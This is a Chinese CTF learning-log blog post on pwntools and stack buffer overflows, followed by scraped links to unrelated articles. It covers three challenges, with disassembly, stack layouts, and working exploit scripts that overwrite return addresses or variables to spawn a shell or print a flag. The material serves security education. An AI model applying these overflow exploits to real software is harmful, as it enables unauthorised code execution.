PWN 学习日志(1): pwntools简单使用与栈溢出实践
常用的模块
| 模块 | 功能 |
|---|---|
| asm | 汇编与反汇编 |
| dynelf | 远程符号泄漏 |
| elf | 对elf文件进行操作 |
| memleak | 用于内存泄漏 |
| shellcraft | shellcode生成器 |
| gdb | 配合gdb调试 |
| utils | 一些实用的小功能 |
结合CTF例题
题目1
下载附件pwn1,使用checksec检查保护
$ checksec pwn1
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
没有开启保护机制
终端输入objdump -d -M intel pwn1,反汇编后查看main函数
0000000000401142 <main>:
401142: 55 push rbp
401143: 48 89 e5 mov rbp,rsp
401146: 48 83 ec 10 sub rsp,0x10
40114a: 48 8d 3d b3 0e 00 00 lea rdi,[rip+0xeb3] # 402004 <_IO_stdin_used+0x4>
401151: e8 da fe ff ff call 401030 <puts@plt>
401156: 48 8d 45 f1 lea rax,[rbp-0xf]
40115a: 48 89 c7 mov rdi,rax
40115d: b8 00 00 00 00 mov eax,0x0
401162: e8 e9 fe ff ff call 401050 <gets@plt>
401167: 48 8d 45 f1 lea rax,[rbp-0xf]
40116b: 48 89 c7 mov rdi,rax
40116e: e8 bd fe ff ff call 401030 <puts@plt>
401173: 48 8d 3d 97 0e 00 00 lea rdi,[rip+0xe97] # 402011 <_IO_stdin_used+0x11>
40117a: e8 b1 fe ff ff call 401030 <puts@plt>
40117f: b8 00 00 00 00 mov eax,0x0
401184: c9 leave
401185: c3 ret
这段代码的开头是形成栈帧,sub rsp,0x10是在栈中开辟了一段数组,这个大小是15(0x10-1),call puts是调用puts函数,打印了一段字符串。rdi寄存器中存放的是gets的参数,即刚开的数组的首地址。gets向这个缓冲区数组读入数据但没有长度的限制,于是构成了缓冲区溢出。
IDA 反汇编结果
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[15]; // [rsp+1h] [rbp-Fh] BYREF
puts("please input");
gets(s);
puts(s);
puts("ok,bye!!!");
return 0;
}
查看数组s在栈中的位置,因为关闭了ASLR,所以栈的地址是固定的。
-000000000000000F s db ?
-000000000000000E db ? ; undefined
-000000000000000D db ? ; undefined
-000000000000000C db ? ; undefined
-000000000000000B db ? ; undefined
-000000000000000A db ? ; undefined
-0000000000000009 db ? ; undefined
-0000000000000008 db ? ; undefined
-0000000000000007 db ? ; undefined
-0000000000000006 db ? ; undefined
-0000000000000005 db ? ; undefined
-0000000000000004 db ? ; undefined
-0000000000000003 db ? ; undefined
-0000000000000002 db ? ; undefined
-0000000000000001 db ? ; undefined
+0000000000000000 s db 8 dup(?) //
+0000000000000008 r db 8 dup(?) // 这里是main函数返回地址
+0000000000000010
+0000000000000010 ; end of stack variables
与此同时,程序中提供了一个fun函数,可以借助它来开启一个交互shell
// 0x401186
int fun()
{
return system("/bin/sh");
}
利用gets函数读入输入,用一段垃圾数据覆盖到返回地址前,最后将fun函数的首地址覆盖到main的返回地址,即可修改程序的执行流,转移到fun函数代码段执行。
在本地尝试
from pwn import *
context(os="Linux", arch="amd64")
p = process("./pwn1") # 运行程序,开启进程
p.recvuntil("please input") # 接收字符串,直到"please input"
fun_addr = 0x0000000000401186 # fun函数的地址
shellcode = "A" * (0x08 + 0x0f) + p64(fun_addr) # 垃圾数据+函数地址
p.sendline(shellcode) # 发送
p.interactive() # 交互
本地成功拿到了shell
$ python demo.py
[+] Starting local process './pwn1': pid 13787
[*] Switching to interactive mode
AAAAAAAAAAAAAAAAAAAAAAA\x86\x11
ok,bye!!!
$ ls
demo.py pwn1 pwn1.id1 pwn1.nam
peda-session-pwn1.txt pwn1.id0 pwn1.id2 pwn1.til
题目2
下载附件 BUUCTF
$ checksec warmup_csaw_2016
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
使用IDA反汇编main函数
__int64 __fastcall main(int a1, char **a2, char **a3)
{
char s[64]; // [rsp+0h] [rbp-80h] BYREF
char v5[64]; // [rsp+40h] [rbp-40h] BYREF
write(1, "-Warm Up-\n", 0xAuLL);
write(1, "WOW:", 4uLL);
sprintf(s, "%p\n", sub_40060D);
write(1, s, 9uLL);
write(1, ">", 1uLL);
return gets(v5);
}
函数的开头开辟了两个数组,sprintf的作用是格式化字符串,下一行输出打印该字符串。查看该地址处的代码:
int sub_40060D()
{
return system("cat flag.txt");
}
可以看到是执行了一个命令,查看flag的文件内容。
main函数末尾存在一个gets函数,没有对读入长度作限制,因此可利用缓冲区溢出漏洞。
-0000000000000040 var_40 db 64 dup(?)
+0000000000000000 s db 8 dup(?)
+0000000000000008 r db 8 dup(?)
+0000000000000010
+0000000000000010 ; end of stack variables
如上是栈的分布,计算要使用(0x08+0x40)个字节的垃圾数据覆盖到返回地址,最后将sub_40060D覆盖到返回地址
from pwn import *
context(os="Linux", arch="amd64")
p = remote("node4.buuoj.cn",29242) # 远程连接
p.recvuntil(">")
fun_addr = 0x40060d
shellcode = "A" * (0x08 + 0x40) + p64(fun_addr)
p.sendline(shellcode)
p.interactive()
执行代码
$ python demo.py
[+] Opening connection to node4.buuoj.cn on port 29242: Done
[*] Switching to interactive mode
flag{fe388bc3-c5c0-4cb7-8bdf-e14af238ca89}
拿到flag
题目3
下载附件 BUUCTF
$ checksec ciscn_2019_n_1
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
无保护机制
使用IDA 反汇编main函数
int __cdecl main(int argc, const char **argv, const char **envp)
{
setvbuf(_bss_start, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
func();
return 0;
}
进入func函数
int func()
{
char v1[44]; // [rsp+0h] [rbp-30h] BYREF
float v2; // [rsp+2Ch] [rbp-4h]
v2 = 0.0;
puts("Let's guess the number.");
gets(v1);
if ( v2 == 11.28125 )
return system("cat /flag");
else
return puts("Its value should be 11.28125");
}
根据程序逻辑,若v2为11.28125则拿到flag
那么可以通过gets函数的缓冲区溢出来修改v2的值
-0000000000000030 ; D/A/* : change type (data/ascii/array)
-0000000000000030 ; N : rename
-0000000000000030 ; U : undefine
-0000000000000030 ; Use data definition commands to create local variables and function arguments.
-0000000000000030 ; Two special fields " r" and " s" represent return address and saved registers.
-0000000000000030 ; Frame size: 30; Saved regs: 8; Purge: 0
-0000000000000030 ;
-0000000000000030
-0000000000000030 var_30 db 44 dup(?)
-0000000000000004 var_4 dd ?
+0000000000000000 s db 8 dup(?)
+0000000000000008 r db 8 dup(?)
+0000000000000010
+0000000000000010 ; end of stack variables
v1的首地址在-0000000000000030,v2在-0000000000000004,先用(0x30-0x04 )字节的数据覆盖到v2地址之前,将v2地址处的数据覆盖为11.28125即可,根据IEEE754规范,11.28125的16进制的形式为0x41348000
from pwn import *
context(os="Linux", arch="amd64")
p = remote("node4.buuoj.cn",26379)
p.recvuntil("Let's guess the number.")
# 41 34 80 00
shellcode = "A" * (0x30 - 0x04) + p64(0x41348000)
p.sendline(shellcode)
p.interactive()
运行后拿到flag
$ python demo.py
[+] Opening connection to node4.buuoj.cn on port 26379: Done
[*] Switching to interactive mode
flag{9fcc4f83-6ddc-4a81-b14d-c0aec78372d6
总结
process函数可以打开一个本地的进程并且与其交互,参数是文件名。
send系列的函数可以发送字符,sendline会在末尾加上换行。
interactive() : 在取得shell之后使用,直接进行交互,相当于回到shell的模式。
recv(numb=字节大小, timeout=default) : 接收指定字节数。
recvall() : 一直接收直到达到文件EOF。
recvline(keepends=True) : 接收一行,keepends为是否保留行尾的\n。
recvuntil(delims, drop=False) : 一直读到delims的pattern出现为止。
recvrepeat(timeout=default) : 持续接受直到EOF或timeout。
简单的栈溢出题目中通常会有如gets这样的危险函数,对输入内容长度不加限制,从而导致溢出
PWN 学习日志(1): pwntools简单使用与栈溢出实践的更多相关文章
- Cortex-M3学习日志(六) -- ADC实验
上一次简单的总结了一下DAC方面的知识,好吧,这次再来总结一下ADC方面的东东.ADC即Analog-to-Digital Converter的缩写,指模/数转换器或者模拟/数字转换器.现实世界是由模 ...
- 软件测试学习日志———— round 2 Junit+intellj idea 安装及简单的测试使用
今天是软件测试的上机,主要内容是对junit的安装以及对一个简单类的测试实践.老师推荐用eclipse,但是我原来一直在 用intellj Idea,所以我试了试intellj Idea对junit的 ...
- Cortex-M3学习日志(五) -- DAC实验
终于逮了个忙里偷闲的机会,就再学一下LPC1768的外围功能吧,循序渐进是学习的基本规则,也许LPC1768的DAC与8位单片机16位单片机里面集成的DAC操作类似,但是既然这是懒猫的学习日志,就顺便 ...
- webpack2学习日志
webpack说容易也容易,说难也难,主要还是看个人,想学到什么样的程度,很多公司可能要求仅仅是会用就行,但是也有一些公司要求比较高,要懂一些底层的原理,所以还是要花一些时间的,看个人需求.这篇仅仅是 ...
- composer的安装和使用 学习日志
如果你做为一个phper,没有用过composer,那你真的不是一个合格的开发者.那么就来记录一下composer的学习日志 下面分享几个学习源头: composer中文网站:https://www. ...
- Mybatis学习--日志
学习笔记,选自Mybatis官方中文文档:http://www.mybatis.org/mybatis-3/zh/logging.html Logging Mybatis内置的日志工厂提供日志功能,具 ...
- Python 学习日志9月19日
9月19日 周二 今天是普通的一天,昨天也是普通的一天,刚才我差点忘记写日志,突然想起来有个事情没做,回来写. 今天早晨学习<Head First HTML and CSS>第十一章节“布 ...
- .NetCore微服务Surging新手傻瓜式 入门教程 学习日志---结构简介(二)
原文:.NetCore微服务Surging新手傻瓜式 入门教程 学习日志---结构简介(二) 先上项目解决方案图: 以上可以看出项目结构可以划分为4大块,1是surging的核心底层,2,3,4都可以 ...
- 基于Flask框架搭建视频网站的学习日志(三)之原始web表单
基于Flask框架搭建视频网站的学习日志(三)1.原始Web 表单 本节主要用于体验一下前端后端直接数据的交互,样例不是太完善,下一节会加入Flash处理,稍微完善一下页面 (备注:建议先阅读廖雪峰老 ...
- [二进制漏洞]PWN学习之格式化字符串漏洞 Linux篇
目录 [二进制漏洞]PWN学习之格式化字符串漏洞 Linux篇 格式化输出函数 printf函数族功能介绍 printf参数 type(类型) flags(标志) number(宽度) precisi ...
随机推荐
- How to Show/Hide a Button Using the Business Process Flow Stage
How to Show/Hide a Button Using the Business Process Flow Stage In today's blog, we'll discuss how t ...
- vue +iview Select省市区联动
因为需要保存的表里只有City_id一个字段,所以这边只保存"区"的值 <Row type="flex" justify="start" ...
- 【VUE】关于pinia代替vuex
官方文档:https://pinia.web3doc.top/ 知乎讲解:https://zhuanlan.zhihu.com/p/533233367
- AtCoder-abc230_g GCD Permutation 容斥
J - GCD Permutation 传送门: J - GCD Permutation 知识点:素数筛.容斥定理.gcd 题意:长度为n的一个排列a中,求满足\(gcd(i,j)!=1 且 gcd( ...
- TAP 交换机
首发第一篇,就想分享一下TAP交换机的网络设备,为啥要谈这个呢,因为是一个冷门产品,大厂一般都没有,有也不作为重点产品推介,所以关注的人少,希望能给有这方面需求的人,又苦于找不到介绍资料的人以帮助.在 ...
- centos 开启关闭网卡(禁用网卡)
说明我之前在工作中使用的服务器很多都是多网卡服务器,他可以使用不同的网卡连接不同的网段,但是,由于个别情况突发,有时候可能需要关闭某些网卡,禁止它们访问到网络,也就是需要关闭网卡.步骤1.查看有哪些网 ...
- [ABC284F] ABCBAC(字符串哈希)
思路 这里我们要注意以下几点: 字符串哈希自然溢出(\(\pmod 2^64\))会被卡,会\(WA~5\)个点 注意有模数的时候不要用\(unsigned\ long \ long\)类型 代码 # ...
- jacoco插件添加
1.添加依赖 <dependency> <groupId>org.jacoco</groupId> <artifactId>jacoco-maven-p ...
- 什么是Placement new ?
1. 什么是placementNew placement new的作用就是:创建对象(调用该类的构造函数)但是不分配内存,而是在已有的内存块上面创建对象.用于需要反复创建并删除的对象上,可以降低分配释 ...
- ElasticSearch 实现分词全文检索 - term、terms查询
数据准备 ElasticSearch 实现分词全文检索 - 测试数据准备 ElasticSearch的各种查询 不会对查询关键字进行分词 term 查询 term的查询是代表完全匹配,搜索之前不会对你 ...